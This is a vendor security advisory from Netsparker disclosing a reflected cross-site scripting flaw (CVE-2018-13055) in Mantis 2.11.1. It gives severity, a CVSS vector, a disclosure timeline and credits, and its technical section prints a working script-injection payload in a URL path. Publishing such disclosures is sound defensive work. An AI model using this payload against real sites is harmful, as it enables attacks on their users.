Information
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Advisory by Netsparker
Name: Reflected Cross-site Scripting in Mantis 2.11.1
Affected Software: Mantis 
Affected Versions: 2.11.1
Homepage: https://www.mantisbt.org/
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2018-13055
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-042

Technical Details
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URL: http://{domain}/{mantis_path}/view_filters_page.php/'"--></style></scRipt><scRipt>alert(0x00CB68)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00CB68)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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2nd July 2018- First Contact
4th July 2018 - Vendor Fixed
8th January 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Ömer Çıtak while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.